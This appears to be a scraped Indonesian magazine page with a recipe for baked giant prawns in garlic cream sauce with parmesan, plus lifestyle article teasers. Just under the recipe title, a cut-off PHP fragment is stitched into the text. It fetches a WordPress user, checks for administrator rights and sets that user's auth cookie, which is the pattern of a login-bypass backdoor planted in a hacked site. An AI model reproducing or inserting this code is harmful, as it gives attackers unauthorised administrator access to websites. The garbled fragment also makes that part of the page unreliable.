Udang Galah Saus Krim Panggang

user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */

Ikan & Seafood

10 Jan 2016

Udang galah menjadi alternatif praktis menggantikan Udang Lobster Mutiara yang diambilnya dari lokasi syuting di Pantai Pangandaran. Uniknya, kaleng kemasan kue tertutup dipanaskan Haryo di atas bara, berfungsi sebagai oven untuk memanggang udang.

Bahan:
6 ekor (@ 100 g) udang galah, belah membujur punggungnya, tak putus
100 g keju parmesan, parut
3 batang peterseli, ambil daunnya, cincang kasar

Saus krim:
2 sdm mentega tawar
5 siung bawang putih, cincang halus
200 ml krim kental/ heavy cream

½ sdt garam
½ sdt merica hitam bulat, tumbuk kasar

Cara Memasak:
1.   Saus krim: Tumis bawang putih dengan mentega tawar. Tuang krim kental sambil diaduk rata. Tambahkan garam dan merica. Aduk rata. Masak hingga mengental. Angkat. Sisihkan.
2.   Tata udang di dalam loyang panggang ukuran 20 x 20 cm. Siram dengan saus krim. Tutup loyang dengan aluminium foil.
3.   Panggang dalam oven panas 180° C hingga matang (± 20 menit). Keluarkan. Angkat.
4.   Taburi dengan keju dan peterseli, sajikan hangat. (f)

Untuk 6 porsi

Clean Cut Emporio Armani

Aksi Sosial SOPHIE

Terbesar! 320 Jenama Ikut Meramaikan Brightspot Market 2025

Future Archive jadi tema Brightspot Market 2025 yang digelar pada 29 Mei-1 Juni dan 5-8 Juni 2025.

Besok, Hidangan dari Buku Pusaka Rasa Nusantara Karya Chef Ragil Ada di Conrad Bali

Memperkenalkan buku istimewa, menunjukkan ke warga Bali akan kayanya Nusantara.

Disney On Ice: Find Your Hero Bakal Tampil di Jakarta dan Surabaya

Siapa yang sudah rindu karakter Disney yang meliuk-liuk di atas es? Siapkan dirimu untuk kehadiran Disney On Ice presents Find Your Hero.

recommended

Menikmati Tradisi yang Terus Bergerak di SU MA Volume 6, Passage

Chef Brendon Chen dan Chef Ryan Kim membawa SU MA ke babak berikutnya dan Femina diajak mencoba.

VW Tour, Movie Night, hingga Floating Dinner, Cara Menikmati Sisi Lain Kamandalu Ubud

Aktivitas seru yang membuatnya jadi destinasi menarik bersama para bestie!

5 Cara Lebih Mindful Menghadapi Situasi Saat Ini

Dunia lagi ramai, kamu nggak harus ikut panik.

Penting untuk Tim Rebahan, 3 Hal Wajib Dilakukan Saat Weekend Selain Beres-beres

Lalu, harus ngapain, dong?

Kosha Mangsho, Semakin Lama Dimasak Semakin Sedap!

Kuahnya cenderung kental, gelap, dan kaya rempah, berbeda dengan kari India Utara yang kuahnya lebih encer.

Produk Hairstyling Terbaru Ini Membantu Menjaga Kelembapan Alami Rambut

Segera hadir di Pekan Raya Jakarta 2026, tiga produk terbaru Panasonic Beauty yang lebih dari sekadar alat menata rambut.

about

Femina is a magazine for smart, independent, modern Indonesian women.

digital magazine

Available at :

(021) 250 333 28
langganan@pranagroup.id